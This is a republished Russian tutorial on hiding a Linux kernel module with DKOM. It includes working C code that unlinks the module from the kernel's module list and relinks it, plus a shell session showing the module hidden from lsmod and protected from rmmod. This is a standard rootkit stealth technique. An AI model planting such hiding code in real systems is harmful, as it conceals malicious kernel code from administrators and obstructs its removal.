- PVSM.RU - https://www.pvsm.ru -

Простая маскировка модуля ядра Linux с применением DKOM

Как известно, задача скорытия модуля ядра от вездесущих «глаз» пользователя может иметь множество приложений. В данной статье рассматривается применение DKOM [1] (Direct Kernel Object Manipulation) — одной из техник, позволяющий осуществить сокрытие информации посредством модицикации внутренних структур ядра.

Далее будут рассмотрены особенности применения данной техники с целью сокрытия видимых признаков наличия модуля в системе и, как следствие, невозможности его выгрузки.

Как следует из названия, основу DKOM представляет операция манипуляции внутренними структурами ядра. В рассматриваемом случае, структурой, подвергающейся изменению, является внутренний список модулей [2], содержащий ссылки на все модули [3], загруженные в систему.

Предствление модулей в ядре

Структурой-описателем модуля ядра Linux является одноимённая структура, описываемая в файле linux/modules.h [3] следующим образом:

223 struct module
224 {
225         enum module_state state;
226 
227         /* Member of list of modules */
228         struct list_head list;
229 
230         /* Unique handle for this module */
231         char name[MODULE_NAME_LEN];
...
378 };

Помимо прочего, данная структура содержит поле list, являющееся элементом связанного списка, посредством которого данный модуль линкуется в общий список модулей ядра. Последний, в свою очередь, является внутренним не экспортируемым списком, объявленным в файле kernel/module.c [2] и защищаемым соответствующим (экспортируемым) мьютексом [4]:

103 DEFINE_MUTEX(module_mutex);
104 EXPORT_SYMBOL_GPL(module_mutex);
105 static LIST_HEAD(modules);

При загрузке модуля, ядро добавляет модуль в свой список. При выгрузке — исключает. Вообще, все операции, требующие перебора загруженных модулей так или иначе сводятся к итерации ядром этого внутреннего списка.

Перечисление загруженных модулей

Для того, чтобы перечислить загруженные в систему модули, удобно использовать макрос THIS_MODULE, ссылающийся на структуру-описатель текущего модуля. Рассмотренное ранее поле list будет являться элементом общего списка модулей с головным описателем, находящимся где-то в недрах ядра. Итак, функция перечисления списка загруженных в систему модулей выглядит следующим образом [5]:

static void list_modules(void)
{
        struct module * mod;
        struct list_head * pos;

        while(!mutex_trylock(&module_mutex))
                cpu_relax();

        debug("List of available modules:n");

        list_for_each(pos, &THIS_MODULE->list) {
                bool head = (unsigned long)pos >= MODULES_VADDR;

                mod = container_of(pos, struct module, list);

                debug("  pos:%pK mod:%pK [%s]n", pos, 
                      head ? mod : 0, head ? mod->name : "<- looking for");
        }

        mutex_unlock(&module_mutex);
}

Как видно, прежде всего, необходимо захватить соответствующий мьютекс, дабы не возникло проблем с синхронизацией, если кто-то в момент перечисления попытается выгрузить один из модулей.

Далее, важным моментом при перечислении является определение адреса головы списка — структуры modules [2]. В силу особенностей организации связанных списков в ядре Linux, голова не связана ни с одним из модулей. Более того, т.к. описатели модулей выделяются из адресов диапазона модулей (MODULES_VADDR [6]MODULES_END [7]), то определение принадлежности адреса к этому диапазону является тривиальным. Ниже приведён результат работы данной функции, полученный на одной из машин:

[11025.656372] [findme] List of available modules:
[11025.656377] [findme]   pos:ffffffffa02a7388 mod:ffffffffa02a7380 [ipheth]
[11025.656380] [findme]   pos:ffffffffa02b9108 mod:ffffffffa02b9100 [pci_stub]
[11025.656382] [findme]   pos:ffffffffa01e7028 mod:ffffffffa01e7020 [vboxpci]
[11025.656385] [findme]   pos:ffffffffa01dd148 mod:ffffffffa01dd140 [vboxnetadp]
[11025.656387] [findme]   pos:ffffffffa01d4028 mod:ffffffffa01d4020 [vboxnetflt]
...
[11025.656477] [findme]   pos:ffffffffa00205c8 mod:ffffffffa00205c0 [3c59x]
[11025.656480] [findme]   pos:ffffffffa000c108 mod:ffffffffa000c100 [r8169]
[11025.656483] [findme]   pos:ffffffff81c2daf0 mod:0000000000000000 [<- looking for]

Последняя строчка наглядно сообщает, что искомая структура находится по адресу ffffffff81c2daf0, что можно проверить выполнив команду:

# grep -w modules /proc/kallsyms 
ffffffff81c2daf0 d modules

Таким образом, используя какой-либо из модулей можно с лёгкостью, перебирая элементы списка, найти корневую структуру. Её отличительным признаком будет являться нехарактерный для модулей адрес (ffffffff81xxxxxx против ffffffffa0xxxxxx), что и было использовано [8]:

struct list_head * get_modules_head(void)
{
        struct list_head * pos;

        while(!mutex_trylock(&module_mutex))
                cpu_relax();

        list_for_each(pos, &THIS_MODULE->list) {
                if ((unsigned long)pos < MODULES_VADDR) {
                        break;
                }
        }

        mutex_unlock(&module_mutex);

        if (pos) {
                debug("Found "modules" head @ %pKn", pos);
        } else {
                debug("Can't find "modules" head, abortingn");
        }

        return pos;
}

Манипуляции списком модулей

Сокрытие модуля в принципе не представляет сложностей, т.к. операция исключения элемента из списка не требует ничего, кроме данного элемента. Операция же повторной вставки требует наличия любого из существующих элементов списка. В данном случае, используется корневой элемент системы. Таким образом, сокрытие и повторное добавление модуля выглядит следующим образом [9]:

static void hide_or_show(int new)
{
        while(!mutex_trylock(&module_mutex))
                cpu_relax();

        if (new == 1) {
                /* 0 -> 1 : hide */

                list_del(&THIS_MODULE->list);

                debug("Module "%s" unlinkedn", THIS_MODULE->name);

        } else {
                /* 1 -> 0 : show */

                list_add(&THIS_MODULE->list, p_modules);

                debug("Module "%s" linked againn", THIS_MODULE->name);
        }

        mutex_unlock(&module_mutex);
}

В первом случае, для исключения их списка используется list_del [10]. Во втором — list_add [11]. Обе операции защищаются захватом соответствующего мьютекса.

Практическая часть

В подготовленном примере [12] содержится код модуля, который реализует функции маскировки. Для проверки следует собрать модуль и загрузить его стандартными средствами через make и insmod

Далее, непосредственно после загрузки, модуль будет доступен через lsmod или rmmod. Далее привожу последовательность действий по проверке функций маскировки:

# isnmod findme.ko
# lsmod | grep findme
findme                 12697  0
# sysctl -w findme=1
findme = 1
# lsmod | grep findme
# rmmod findme
libkmod: ERROR ../libkmod/libkmod-module.c:753 kmod_module_remove_module: could not remove 'findme': No such file or directory
Error: could not remove module findme: No such file or directory
# sysctl -w findme=0
findme = 0
# lsmod | grep findme
findme                 12697  0 
# rmmod findme

Таким образом, существует возможность простого сокрытия модуля ядра от посторонних глаз. Представленный пример [12] содержит необходимый для экспериментов код.

На почитать

1. Direct Kernel Object Manipulation [1]
2. Linux Kernel Linked List Explained [13]
3. Linux kernel design patterns — part 2 [14]

Автор: milabs

Источник [15]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/linux/50269

Ссылки в тексте:

[1] DKOM: http://www.blackhat.com/presentations/win-usa-04/bh-win-04-butler.pdf

[2] список модулей: http://lxr.free-electrons.com/source/kernel/module.c?v=3.8#L105

[3] модули: http://lxr.free-electrons.com/source/include/linux/module.h?v=3.8#L223

[4] мьютексом: http://lxr.free-electrons.com/source/kernel/module.c?v=3.8#L104

[5] следующим образом: https://github.com/milabs/kmod_hidden/blob/master/module-init.c#L61

[6] MODULES_VADDR: http://lxr.free-electrons.com/source/arch/x86/include/asm/pgtable_64_types.h?v=3.8#L59

[7] MODULES_END: http://lxr.free-electrons.com/source/arch/x86/include/asm/pgtable_64_types.h?v=3.8#L60

[8] использовано: https://github.com/milabs/kmod_hidden/blob/master/module-init.c#L14

[9] следующим образом: https://github.com/milabs/kmod_hidden/blob/master/module-init.c#L38

[10] list_del: http://lxr.free-electrons.com/source/include/linux/list.h?v=3.8#L104

[11] list_add: http://lxr.free-electrons.com/source/include/linux/list.h?v=3.8#L60

[12] примере: https://github.com/milabs/kmod_hidden

[13] Linux Kernel Linked List Explained: http://isis.poly.edu/kulesh/stuff/src/klist/

[14] Linux kernel design patterns — part 2: http://lwn.net/Articles/336255/

[15] Источник: http://habrahabr.ru/post/205274/